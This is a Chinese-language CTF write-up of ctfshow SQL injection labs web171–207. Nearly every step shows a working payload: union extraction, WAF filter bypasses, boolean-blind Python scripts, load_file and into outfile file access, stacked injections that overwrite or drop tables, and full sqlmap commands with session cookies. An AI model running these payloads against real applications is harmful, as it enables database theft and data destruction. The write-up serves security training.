sql注入
web171(无过滤)

通过下面的payload
1' or 1=1 --+
这个payload代到语句中就是
$sql = "select username,password from user where username !='flag' and id = '1' or 1=1 --+' limit 1;";
可以发现即使前面对username和id的判断没成立,后面的1=1也必定成立,所以他会打印所有的用户信息。

成功获得flag
web172

打开题目看到一只猫,此时查看源代码。

发现2.php也就是第二关的真实入口

可以发现比上一关多加了一个对查询到的结果的用户名进行判断。
尝试下面的payload
-1' or 1=1 union select 1,2 --+

可以发现显示的内容有两行并且都是回显点
然后尝试下面payload获取数据库名
-1' or 1=1 union select 1,database() --+

成功获得数据库名为ctfshow_web
再获取表名
-1' or 1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web' ) --+

成功获得表名为ctfshow_user,ctfshow_user2
先查询ctfshow_user的列名
-1' or 1=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' ) --+

然后查询列信息
-1' or 1=1 union select 1,(select group_concat(username,'~',password) from ctfshow_web.ctfshow_user) --+

发现flag处信息说flag不在这,那试试ctfshow_user2

成功获得flag
其实写完才发现查询语句已经告诉了我们查的是ctfshow_user2,可以直接查这个表的信息,但是这样也演示了一遍常规的解题过程,要熟悉这一套流程。
web173

可以看到这次是对序列化后的查询结果,看是否有flag,如果有则查询不成功,如果没有则查询成功。
那我们输出直接输出我们想要的flag就好了
' union select 1,2,password from ctfshow_user3 --+

web174

这次是检测序列化后的结果中是否存在flag或则数字,如果存在则过滤掉。
那其实很容易便能想到将结果通过编码或者是某种替换规则来让结果中没有数字
首先我先想到的是base64编码,但是想到编码后也有数字说明不行。
那么就可以通过mysql中的REPLACE语句,将0-9的数字全部替换成自定义的字母A-J便可以绕过,然后再通过同样的方式解密即可获得flag。payload如下
1 ' union select to_base64(username),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,9,'I'),8,'H'),7,'G'),6,'F'),5,'E'),4,'D'),3,'C'),2,'B'),1,'A') ,0,'J') from ctfshow_user4 --+

成功获得flag,然后我们也可以发现sql语句中可以通过to_base64来进行base64编码,日后可以用来绕过某些规则。比如前面的对flag的过滤就随便绕过。
然后我们编写python脚本将其还原
def convert_flag(encoded_str):
# 定义大写字母到数字的映射规则
mapping = {
"A": "1", "B": "2", "C": "3", "D": "4", "E": "5",
"F": "6", "G": "7", "H": "8", "I": "9", "J": "0"
}
result = []
for char in encoded_str:
if char in mapping:
# 大写字母按规则转换
result.append(mapping[char])
elif char.isupper():
# 如果遇到未定义的大写字母(如 K-Z),保留原字符并提示警告
print(f"警告: 字符 '{char}' 未定义映射规则,将保留原值")
result.append(char)
else:
# 小写字母和符号直接保留
result.append(char)
return "".join(result)
# 输入待转换的字符串
input_str = "acDeGeCI-eGbf-DDCf-HbDG-eaaDEbCCcbIc"
# 调用函数转换
output_str = convert_flag(input_str)
# 输出结果
print(f"转换后的Flag为: ctfshow{{{output_str}}}")
我还是菜鸡,不太会写,所以让ai写的。还是得多写多练代码能力
转换后的Flag为: ctfshow{ac4e7e39-e7bf-443f-8b47-eaa45b33cb9c}
web175

这一次是过滤了所有的ascii码字符,那么想要直接将flag显示出来肯定不太可能了。
这时候可以将查询结果输出到指定文件中,又或者可以时间盲注。

从指纹信息中可以发现使用的是nginx,而nginx的网站根目录是/var/www/html
我们便可以将查询结果输出到根目录下的文件里
payload:
-1' union select username,password from ctfshow_user5 into outfile '/var/www/html/flag.txt' --+

显示接口异常不用管,直接访问flag.txt

web176(开始有过滤)
开始有过滤的sql注入

先尝试最简单的注入
-1' or 1=1 --+

直接拿到flag
web177
测试发现过滤了空格,绕过空格方式有下面几种
/**/
%0a:换行
%09:tab
%0c:换页
括号
反引号``
等等.....
payload:
-1'/**/union/**/select/**/1,username,password/**/from/**/ctfshow_user/**/%23
web178
测试发现过滤了/**/
换别的替代即可
-1'union%0aselect%0a1,username,password%0afrom%0actfshow_user%23

web179
这一次测试发现,%0a与/**/以及%09都不行。试试用%0c
-1'union%0cselect%0c1,username,password%0cfrom%0cctfshow_user%23

web180
测试发现将%23也就是#给过滤了,可以换成--%0c
payload:
-1'union%0cselect%0c1,username,password%0cfrom%0cctfshow_user--%0c

web181
这一次题目将过滤字符告诉我们了
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}
可见将能代替空格的基本都给过滤了,并且select与into也给过滤了。这说明不让我们执行select语句,以及将结果输出到指定文件。
还可以通过下面的payload:
0'||username='flag
0'or(username)='flag
||其实就等效于or
代入到sql语句中就是
select id,username,password from ctfshow_user where username !='flag' and id = '0'||username='flag' limit 1;

web182
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}
这一次将flag也给过滤了
可以通过下面几种方式绕过:
concat拼接flag:
-1'||(username=concat('fl','ag'))and'1'='1
使用like模糊匹配:
-1'||(username)like'%fl%
使用%01代替空格
-1'||'1=1'--%01

web183

post 提交一个 tableName 参数进行查询,猜测表名还是 ctfshow_user:
tableName=ctfshow_user

发现回显只有一个变量$user_count了。
并且依旧过滤了很多字符,但是发现like与where没有过滤,可以尝试模糊匹配
tableName=(ctfshow_user)where(pass)like'ctfshow{%'

尝试匹配不相干的
tableName=(ctfshow_user)where(pass)like'%test%'

十分明显的bool盲注的特征。
那么便可以通过不断往 flag 后面新增字符进行猜解,通过看响应中是否包含$user_count = 1;字段来判断是否匹配成功,最终拼凑成完整的flag;
import requests
url = "http://1705480f-47eb-455e-a5a4-4ef7d39d2871.challenge.ctf.show/select-waf.php"
# flag包含的字符集
dic = "{0123456789-abcdefghijklmnopqrstuvwxyz}"
flag = "ctfshow{"
# 不知道flag多少位,所以循环50次
for i in range(0,50):
# 遍历字符集
for j in dic:
payload = {'tableName': f"(ctfshow_user)where(pass)like'{flag+j}%'"}
response = requests.post(url,data=payload)
if "$user_count = 1;" in response.text:
flag+=j
break
print(flag)
# flag以}结尾则结束
if flag.endswith('}'):
break

成功跑出flag
web184

这一次sql语句变成了count(*),没有指定明确的字段了。
还是先查一下是不是ctfshow_user表
tableName=ctfshow_user

发现表没有变,但是这一次又多过滤了一些字符,引号与where也不能用了。但是like和空格没被过滤。
可以使用having代替where,like匹配的字段可以通过十六进制编码绕过。
补充知识点:having 是从前筛选的字段再筛选,而 where 是从数据表中的字段直接进行的筛选的,如果已经筛选出了某个字段,这种情况下 having 和 where 等效,但是如果没有 select 某个字段,后面直接 having 这个字段,就会报错。
比如说
select goods_price,goods_name from sw_goods where goods_price > 100
与
select goods_price,goods_name from sw_goods having goods_price > 100
等效
select goods_name,goods_number from sw_goods where goods_price > 100
正常
select goods_name,goods_number from sw_goods having goods_price > 100
报错,因为前面并没有筛选出 goods_price 字段
所以payload如下:
tableName=ctfshow_user group by pass having pass like 0x63746673686f777b25
通过group by筛选出一个字段,0x63746673686f777b25是ctfshow{%的十六进制编码。

发现有回显了,那么依然可以使用bool盲注。
我们修改一下上一题的脚本
import requests
url = "http://3b6b22f0-e5f0-45d3-8b9d-535e0ddd80aa.challenge.ctf.show/select-waf.php"
dic = "{0123456789-abcdefghijklmnopqrstuvwxyz}"
dic = [f"{ord(c):02x}" for c in dic] # 将字符转为十六进制格式
flag = "0x63746673686f777b" # ctfshow{
for i in range(0,50):
for j in dic:
payload = {'tableName': f"ctfshow_user group by pass having pass like {flag+j}25"}
response = requests.post(url,data=payload)
if "$user_count = 1;" in response.text:
flag+=j
break
print(flag)
if flag.endswith('7d'): # 以}结尾
flag = flag[2::] # 去除0x
flag = bytes.fromhex(flag)
print(flag)
break

直接跑出flag
web185
这一次将数字都给过滤掉了

可以使用 true 结合 concat 拼接出数字
select concat(true+true+true+true+true,true+true+true+true+true+true)
# 56
附上一个yu师傅的脚本(yu师傅的身影无处不在,实在是太强了)
#author:yu22x
import requests
import string
url="http://5f9e9c0c-2ce8-4188-b023-4f5b9d5ca977.challenge.ctf.show/select-waf.php"
s='0123456789abcdef-{}'
def convert(strs):
t='concat('
for s in strs:
t+= 'char(true'+'+true'*(ord(s)-1)+'),'
return t[:-1]+")"
flag=''
for i in range(1,45):
print(i)
for j in s:
d = convert(f'^ctfshow{flag+j}')
data={
'tableName':f' ctfshow_user group by pass having pass regexp({d})'
}
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("user_count = 1" in r.text):
flag+=j
print(flag)
if j=='}':
exit(0)
break
再附上一个我觉得写的很好的脚本
import requests
def creatNum(n): # 3 = true + true + true
str = ''
for i in range(1,n+1):
if i == 1:
str += "true"
else:
str += "+true"
return str
def creatStr(str): # 将'23'变成 char(true+true),char(true+true+true)
res = ""
for i in range(1,len(str)+1):
temp = ord(str[i-1])
if i == 1:
res = "chr(" + creatNum(temp) + ")"
else:
res += "," + "chr(" + creatNum(temp) + ")"
return res
url = "http://aa30843a-f24f-4fb5-b65d-b754e2918af7.challenge.ctf.show/select-waf.php"
letters = letter = r"{0123456789abcdefg-}hijklmnopqrstuvwxyz"
flag = "ctfshow{"
for i in range(50):
for ch in letters:
result = creatStr(flag + ch)
data = {"tableName":"ctfshow_user group by pass having pass regexp(concat({}))".format(result)}
res = requests.post(url = url, data = data)
if "$user_count = 1;" in res.text:
flag += ch
print(flag)
# if ch == '}':
# exit()
break # 寻找下一个位置 ctfshow{554eba7f-6703-44fd-85ad-c35a8fe3512a}

套上ctfshow{}即可
web186

这一题比上一题多过滤了\%|\<|>|\^
还是可以使用上一关的脚本
import requests
def creatNum(n): # 3 = true + true + true
str = ''
for i in range(1,n+1):
if i == 1:
str += "true"
else:
str += "+true"
return str
def creatStr(str): # 将'23'变成 char(true+true),char(true+true+true)
res = ""
for i in range(1,len(str)+1):
temp = ord(str[i-1])
if i == 1:
res = "chr(" + creatNum(temp) + ")"
else:
res += "," + "chr(" + creatNum(temp) + ")"
return res
url = "http://a22dae2c-2489-431c-955b-1cdb2e81f449.challenge.ctf.show/select-waf.php"
letters = letter = r"{0123456789abcdefg-}hijklmnopqrstuvwxyz"
flag = "ctfshow{"
for i in range(50):
for ch in letters:
result = creatStr(flag + ch)
data = {"tableName":"ctfshow_user group by pass having pass regexp(concat({}))".format(result)}
res = requests.post(url = url, data = data)
if "$user_count = 1;" in res.text:
flag += ch
print(flag)
# if ch == '}':
# exit()
break

web187

md5($_POST['password'],true)
对提交的 password 进行 md5 加密,由于 md5 函数第二个参数为 true,因此会返回16 字节的二进制字符串。
要求用户名只能是admin,那么注入点只能是password,但是password会进行md5(..., true)。
这时候便要提一个神奇的字符串:ffifdyop

将这个拿去Hex解密

在转为字符串时会出现乱码 'or'6É]é!r,ùíb。
第一个引号可以将password的引号给闭合,而or后面的第一个字母只要不是0,都会被认为是true,从而实现sql注入的绕过。
所以用户名是admin,密码是ffifdyop。

web188(sql特性)

在sql中,数字和字符串的比较是弱类型的,如果在比较操作中涉及到字符串和数字,SQL 会尝试将字符串转换为数字,那么只要字符串不是以数字开头,比较时都会转为数字 0 。
而此题中的username并没有引号。如果我们让username=0的话,便可以匹配到所有username是以字母开头的。
关于密码的比较使用两个等号,也是弱类型比较。
因此我们可以用户名和密码都输入 0 ,尝试登录一个用户名和密码都不是数字开头的用户:

在响应中可以看到flag

web189

使用00显示密码错误。
题目提示说flag在flag在api/index.php文件中。但是打开查看什么都看不到

第一想法就是通过mysql当中的load_file进行文件读取。
但是此题依旧过滤了大部分的字符

可以使用bool盲注的方式,通过load_file读取文件,并截取每一个字符与可打印字符比对,直到将文件内容全部打印。
脚本如下
#author:yu22x
import requests
import string
url="http://8e7d622f-9b8e-4a11-9388-5b2b4d91f152.challenge.ctf.show/api/index.php"
s=string.printable
flag=''
# 从257个字符开始才是flag
for i in range(257,1000):
print(i)
for j in range(32,128):
#print(chr(j))
data={'username':f"if(ascii(substr(load_file('/var/www/html/api/index.php'),{i},1))={j},1,0)",
'password':'1'}
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("\\u67e5\\u8be2\\u5931\\u8d25" in r.text):
flag+=chr(j)
print(flag)
break

web190(开始bool盲注)

这一次username是在引号里。随便用些简单的注入一下
1' or '1'='1

1' or '1'='2

可以发现回显不一样,并且当回显是密码错误的时候说明是成功注入的。
所以可以使用bool盲注
import requests
import string
# 数据仍是通过api传送
url="http://0e358606-950d-40fe-8156-7e7dfa167f10.challenge.ctf.show/api/index.php"
s=string.printable
flag=''
for i in range(0,50):
print(i)
for j in range(32,128):
# 查询表名
# data={'username':f"0'or if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))={j},1,0)#",
# 'password':'1'}
# 查询列名
# data = {
# 'username': f"0'or if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))={j},1,0)#",
# 'password': '1'}
# 查询flag
data = {
'username': f"0'or if(ascii(substr((select f1ag from ctfshow_fl0g),{i},1))={j},1,0)#",
'password': '1'}
#print(data)
r=requests.post(url,data=data)
# print(r.text)
if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
flag+=chr(j)
print(flag)
break
查询表名:

可见有一个ctfshow_fl0g表。
查询ctfshow_fl0g表的列名:

找到flag所在位置,读取flag

web191

这一次ascii不允许使用了,其实也好绕过。我们只需要将等号右边的数字转成字符即可。
修改脚本如下:
import requests
import string
url="http://0ffebfe3-6ff7-47f6-8e5a-ebfb8f770e08.challenge.ctf.show/api/index.php"
s=string.printable
flag=''
for i in range(0,50):
print(i)
for j in range(32,128):
# 查询表名
# data={'username':f"0'or if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))={j},1,0)#",
# 'password':'1'}
# 查询列名
# data = {
# 'username': f"0'or if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))={j},1,0)#",
# 'password': '1'}
# 查询flag
data = {
'username': f"0'or if(substr((select f1ag from ctfshow_fl0g),{i},1)=chr({j}),1,0)#",
'password': '1'}
#print(data)
r=requests.post(url,data=data)
# print(r.text)
if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
# 因为数据库的字符比较不区分大小写,所以要转小写
flag+=chr(j).lower()
print(flag)
break

web192

多过滤了ord与hex,我们压根没用过。用上一关的脚本直接秒了。

web193

这一次将substr过滤了,直接用mid替代即可。
但是这题非常的坑爹,它将flag的表名给换了,我就说咋一直跑不出flag。
脚本如下:
import requests
import string
url="http://436d8995-1391-426a-90d0-4bb95367e706.challenge.ctf.show/api/index.php"
s=string.printable
flag=''
for i in range(1,50):
print(i)
for j in range(32,128):
# # 查询表名
# data={'username':f"0'or if(mid((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1)=chr({j}),1,0)#",
# 'password':'1'}
# 查询列名
# data = {
# 'username': f"0'or if(mid((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flxg'),{i},1)=chr({j}),1,0)#",
# 'password': '1'}
# 查询flag
data = {
'username': f"0' or if(mid((select f1ag from ctfshow_flxg),{i},1)=chr({j}),1,0)#",
'password': '1'}
#print(data)
r=requests.post(url,data=data)
# print(r.text)
if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
# 因为数据库的字符比较不区分大小写,所以要转小写
flag+=chr(j).lower()
print(flag)
break
查询表名:

查询列名:
列名没变,仍然是id,f1ag
读f1ag:

web194

又多过滤了left,right,substring。这些都是可以替代substr的,我们用的是mid不在过滤范围
又过滤了char,但是我们使用的是chr。所以用上一关的脚本即可:

web195(开始堆叠注入)

查询语句中username并没有被引号包裹,密码只能是数字。并且此题过滤了引号空格,空格可以用括号或者反引号绕过。题目说了是堆叠注入,那么我们直接将所有用户的用户名与密码都改成1就可以了。
1;update(ctfshow_user)set`username`=1,pass=1;

然后直接用1登录

web196

限制了用户名的长度不能超过16。
当满足$row[0]==$password时便会输出flag。$row存储的是结果集中的一行数据,$row[0]就是这一行的第一个数据。$row会逐一循环获取每个结果集。如果我们输入1;select(2);密码为2。那么当获取到后面那个sql语句的查询结果是,便满足条件输出flag。(这里其实并没有过滤select,群主说本来想写成se1ect的)。
username=1;select(2);
pass=2

web197

对update与set也进行了过滤。
我们还可以通过堆叠注入执行show tables;然后让密码等于ctfshow_user即可绕过
1;show tables;
ctfshow_user

还可以先将这个表删掉,然后再创建回来,然后再往里面插入自定义数据。
1;drop table ctfshow_user;create table ctfshow_user(`username` varchar(100),`pass` varchar(100));insert ctfshow_user(`username`,`pass`) value(1,1)
web198

比上一关多过滤了create与drop。还是可以使用上一关payload:
1;show tables;
ctfshow_user
看了别的师傅的wp,发现还是可以插入数据(我以为into被过滤了插入不了)
1;insert ctfshow_user(`username`,`pass`) value(1,1);
然后使用11登录

web199

这一次还将括号过滤了,那么便无法插入数据了。
但是还是可以使用这个payload
1;show tables;
ctfshow_user

web200

也就多过滤了逗号,仍然可以使用上一关的payload
1;show tables;
ctfshow_user

web201(开始系统练习sqlmap)

随便提交一个看下它调用的接口和请求的参数有哪些。

可以看到使用的是api接口,提交的参数有id,page,limit。这里我们只需要对id进行注入即可。
题目有提到 使用--user-agent 指定agent,因为对于 sqlmap 默认的 user-agent 会包含 sqlmap 关键字,很多时候我们会使用 --random-agent 来随机 ua 头。
题目要求还需要使用--referer绕过referer检查,referer 就是请求来自哪里,因为我们使用的是sqlmap发起请求的,所以肯定得指定refer为题目地址。
https://df24847d-4aa3-4fcd-9f2a-2ef5dd8b851c.challenge.ctf.show/sqlmap.php
在sqlmap中语句如下:(其中--batch是默认同意执行过程中所有的询问)
查询数据库信息
sqlmap -u "http://9fb4ea1f-e6db-4283-b5e5-ee14b58d5e1f.challenge.ctf.show/api/?id=1" --refer https://9fb4ea1f-e6db-4283-b5e5-ee14b58d5e1f.challenge.ctf.show/sqlmap.php --batch

发现是mysql数据库
查询数据库名
通过--dbs来查询数据库名
sqlmap -u http://32c7d026-d195-4074-a0f9-492c17dc1a2c.challenge.ctf.show/api/?id=1 --referer https://32c7d026-d195-4074-a0f9-492c17dc1a2c.challenge.ctf.show/sqlmap.php --dbs --batch

发现了ctfshow_web数据库。
查询表名
通过使用 -D 指定这个库,--tables 指定查这个库下的所有表名
sqlmap -u http://df24847d-4aa3-4fcd-9f2a-2ef5dd8b851c.challenge.ctf.show/api/?id=1 --referer https://df24847d-4aa3-4fcd-9f2a-2ef5dd8b851c.challenge.ctf.show/sqlmap.php -D ctfshow_web --tables --batch

发现ctfshow_user表
查询列名
使用 -T 参数指定这个表,--columns 查该表下所有的列名:
sqlmap -u "http://9fb4ea1f-e6db-4283-b5e5-ee14b58d5e1f.challenge.ctf.show/api/?id=1" --refer https://9fb4ea1f-e6db-4283-b5e5-ee14b58d5e1f.challenge.ctf.show/sqlmap.php -T ctfshow_user --columns --batch

获取具体字段的值
通过-C指定字段,通过--dump将获取信息存储
sqlmap -u "http://9fb4ea1f-e6db-4283-b5e5-ee14b58d5e1f.challenge.ctf.show/api/?id=1" --refer https://9fb4ea1f-e6db-4283-b5e5-ee14b58d5e1f.challenge.ctf.show/sqlmap.php -T ctfshow_user -C id,pass,username --dump --batch

成功获取flag
web202(--data调整请求方式)

题目提示要使用--data调整sqlmap请求方式,原本是GET提交,现在改成POST试一下
sqlmap -u "http://df24847d-4aa3-4fcd-9f2a-2ef5dd8b851c.challenge.ctf.show/api/" --data id=1 --refer https://49575533-1234-49bd-aae6-06e05ab4e388.challenge.ctf.show/sqlmap.php -T ctfshow_user -C id,pass,username --dump --batch

成功获取flag
web203(--method调整请求方式)

题目提示用--method调整sqlmap的请求方式
记得要加上--headers="Content-Type: text/plain" 不然data是以表单形式发送
sqlmap -u http://4be3dfbd-3da5-45ea-b071-abb158ea0f76.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://4be3dfbd-3da5-45ea-b071-abb158ea0f76.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch --headers="Content-Type: text/plain"

web204(--cookie提交cookie数据)

提示要我们通过--cookie提交cookie数据

--cookie可以同时提交多个cookie
sqlmap -u http://d480dfc6-f91c-472d-9bab-ed5afbfc64ee.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://d480dfc6-f91c-472d-9bab-ed5afbfc64ee.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch --headers="Content-Type: text/plain" --cookie="cf_clearance=Ds6RKq2sz5JL3SBWc6z.JR7YukxCQHGb_MbWjHLpvhs-1754997573-1.2.1.1-U745sQXD4aKfP6HL3qYuItuCDxsfHyOJy.pOBmq.G5LLOmK54x8Zf1F26RdGjjyQJMyoS6BBc8NfgBB4Qo8QFZk29cgNQQKfWLwzGRqW4MJGoO1ASvs3kVA.NSPGC5PVUVZN2QbB_lHxBJD.Kqq57lN6INKfuZeEJOPLTIWj1d5CilsI0SlIZMbfc.r3ApDuUWgz8N_rTM4M7crXFG37AQ9P04BcjsgwOx5J2G6ttCU; PHPSESSID=eu2pa6f94ireh2otbutf5va8u8; ctfshow=f4eed17b20318bdd5d32f07b2f0fb318"

成功获取flag
web205(--safe-url绕过鉴权)

提示api调用需要鉴权。

发现在访问/api/index.php之前都会先访问getToken.php,作用应该就是获取token。
追加 --safe-url 参数设置在测试目标地址前访问的安全链接,将 url 设置为 api/getToken.php,再加上 --safe-preq=1 表示访问 api/getToken.php 一次:
sqlmap -u http://98c4f1fd-20d8-4244-a96c-47cda406ec7c.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://98c4f1fd-20d8-4244-a96c-47cda406ec7c.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=Ds6RKq2sz5JL3SBWc6z.JR7YukxCQHGb_MbWjHLpvhs-1754997573-1.2.1.1-U745sQXD4aKfP6HL3qYuItuCDxsfHyOJy.pOBmq.G5LLOmK54x8Zf1F26RdGjjyQJMyoS6BBc8NfgBB4Qo8QFZk29cgNQQKfWLwzGRqW4MJGoO1ASvs3kVA.NSPGC5PVUVZN2QbB_lHxBJD.Kqq57lN6INKfuZeEJOPLTIWj1d5CilsI0SlIZMbfc.r3ApDuUWgz8N_rTM4M7crXFG37AQ9P04BcjsgwOx5J2G6ttCU; PHPSESSID=dojt2nuktiqadrupgrpqu1uk4o" --safe-url="http://98c4f1fd-20d8-4244-a96c-47cda406ec7c.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch

发现并没有flag字段,那我们重头开始,查询表名,列名。
sqlmap -u http://98c4f1fd-20d8-4244-a96c-47cda406ec7c.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://98c4f1fd-20d8-4244-a96c-47cda406ec7c.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=Ds6RKq2sz5JL3SBWc6z.JR7YukxCQHGb_MbWjHLpvhs-1754997573-1.2.1.1-U745sQXD4aKfP6HL3qYuItuCDxsfHyOJy.pOBmq.G5LLOmK54x8Zf1F26RdGjjyQJMyoS6BBc8NfgBB4Qo8QFZk29cgNQQKfWLwzGRqW4MJGoO1ASvs3kVA.NSPGC5PVUVZN2QbB_lHxBJD.Kqq57lN6INKfuZeEJOPLTIWj1d5CilsI0SlIZMbfc.r3ApDuUWgz8N_rTM4M7crXFG37AQ9P04BcjsgwOx5J2G6ttCU; PHPSESSID=dojt2nuktiqadrupgrpqu1uk4o" --safe-url="http://98c4f1fd-20d8-4244-a96c-47cda406ec7c.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --batch

果然多了一个ctfshow_flax表
查询列名
sqlmap -u http://98c4f1fd-20d8-4244-a96c-47cda406ec7c.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://98c4f1fd-20d8-4244-a96c-47cda406ec7c.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=Ds6RKq2sz5JL3SBWc6z.JR7YukxCQHGb_MbWjHLpvhs-1754997573-1.2.1.1-U745sQXD4aKfP6HL3qYuItuCDxsfHyOJy.pOBmq.G5LLOmK54x8Zf1F26RdGjjyQJMyoS6BBc8NfgBB4Qo8QFZk29cgNQQKfWLwzGRqW4MJGoO1ASvs3kVA.NSPGC5PVUVZN2QbB_lHxBJD.Kqq57lN6INKfuZeEJOPLTIWj1d5CilsI0SlIZMbfc.r3ApDuUWgz8N_rTM4M7crXFG37AQ9P04BcjsgwOx5J2G6ttCU; PHPSESSID=dojt2nuktiqadrupgrpqu1uk4o" --safe-url="http://98c4f1fd-20d8-4244-a96c-47cda406ec7c.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax --columns --batch

发现flagx字段。
查询flagx字段的值
sqlmap -u http://98c4f1fd-20d8-4244-a96c-47cda406ec7c.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://98c4f1fd-20d8-4244-a96c-47cda406ec7c.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=Ds6RKq2sz5JL3SBWc6z.JR7YukxCQHGb_MbWjHLpvhs-1754997573-1.2.1.1-U745sQXD4aKfP6HL3qYuItuCDxsfHyOJy.pOBmq.G5LLOmK54x8Zf1F26RdGjjyQJMyoS6BBc8NfgBB4Qo8QFZk29cgNQQKfWLwzGRqW4MJGoO1ASvs3kVA.NSPGC5PVUVZN2QbB_lHxBJD.Kqq57lN6INKfuZeEJOPLTIWj1d5CilsI0SlIZMbfc.r3ApDuUWgz8N_rTM4M7crXFG37AQ9P04BcjsgwOx5J2G6ttCU; PHPSESSID=dojt2nuktiqadrupgrpqu1uk4o" --safe-url="http://98c4f1fd-20d8-4244-a96c-47cda406ec7c.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx --dump --batch

web206(绕过sql闭合)

要求sql需要闭合(也就是引号括号必须成对出现,并且以;结尾)

注意到sql语句中给$id加上了括号其余的与上一关没什么区别。因为我们是用工具打,sqlmap里面的payload非常的多。依然使用上一关的payload即可。
将url与cookie替换一下
查询表名
sqlmap -u http://add5bb15-097d-4be6-b0a4-2b4ccd37a260.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://add5bb15-097d-4be6-b0a4-2b4ccd37a260.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=Ds6RKq2sz5JL3SBWc6z.JR7YukxCQHGb_MbWjHLpvhs-1754997573-1.2.1.1-U745sQXD4aKfP6HL3qYuItuCDxsfHyOJy.pOBmq.G5LLOmK54x8Zf1F26RdGjjyQJMyoS6BBc8NfgBB4Qo8QFZk29cgNQQKfWLwzGRqW4MJGoO1ASvs3kVA.NSPGC5PVUVZN2QbB_lHxBJD.Kqq57lN6INKfuZeEJOPLTIWj1d5CilsI0SlIZMbfc.r3ApDuUWgz8N_rTM4M7crXFG37AQ9P04BcjsgwOx5J2G6ttCU; PHPSESSID=vrforse99trt8dum1jha4t2r2f" --safe-url="http://add5bb15-097d-4be6-b0a4-2b4ccd37a260.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --batch

发现ctfshow_flaxc表
查询列名
sqlmap -u http://add5bb15-097d-4be6-b0a4-2b4ccd37a260.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://add5bb15-097d-4be6-b0a4-2b4ccd37a260.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=Ds6RKq2sz5JL3SBWc6z.JR7YukxCQHGb_MbWjHLpvhs-1754997573-1.2.1.1-U745sQXD4aKfP6HL3qYuItuCDxsfHyOJy.pOBmq.G5LLOmK54x8Zf1F26RdGjjyQJMyoS6BBc8NfgBB4Qo8QFZk29cgNQQKfWLwzGRqW4MJGoO1ASvs3kVA.NSPGC5PVUVZN2QbB_lHxBJD.Kqq57lN6INKfuZeEJOPLTIWj1d5CilsI0SlIZMbfc.r3ApDuUWgz8N_rTM4M7crXFG37AQ9P04BcjsgwOx5J2G6ttCU; PHPSESSID=vrforse99trt8dum1jha4t2r2f" --safe-url="http://add5bb15-097d-4be6-b0a4-2b4ccd37a260.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxc --columns --batch

发现flagv字段
查询flagv字段的值
sqlmap -u http://add5bb15-097d-4be6-b0a4-2b4ccd37a260.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://add5bb15-097d-4be6-b0a4-2b4ccd37a260.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=Ds6RKq2sz5JL3SBWc6z.JR7YukxCQHGb_MbWjHLpvhs-1754997573-1.2.1.1-U745sQXD4aKfP6HL3qYuItuCDxsfHyOJy.pOBmq.G5LLOmK54x8Zf1F26RdGjjyQJMyoS6BBc8NfgBB4Qo8QFZk29cgNQQKfWLwzGRqW4MJGoO1ASvs3kVA.NSPGC5PVUVZN2QbB_lHxBJD.Kqq57lN6INKfuZeEJOPLTIWj1d5CilsI0SlIZMbfc.r3ApDuUWgz8N_rTM4M7crXFG37AQ9P04BcjsgwOx5J2G6ttCU; PHPSESSID=vrforse99trt8dum1jha4t2r2f" --safe-url="http://add5bb15-097d-4be6-b0a4-2b4ccd37a260.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxc -C flagv --dump --batch

web207(--tamper绕过waf1)

提示说是--tamper的初体验,--tamper是用来绕过Waf的。

这题与前面也没什么区别,就是加了个waf过滤了空格。
sqlmap内置了非常多的绕过waf的函数:

脚本按照用途命名,比如 space2comment.py 是指,用/**/代替空格。
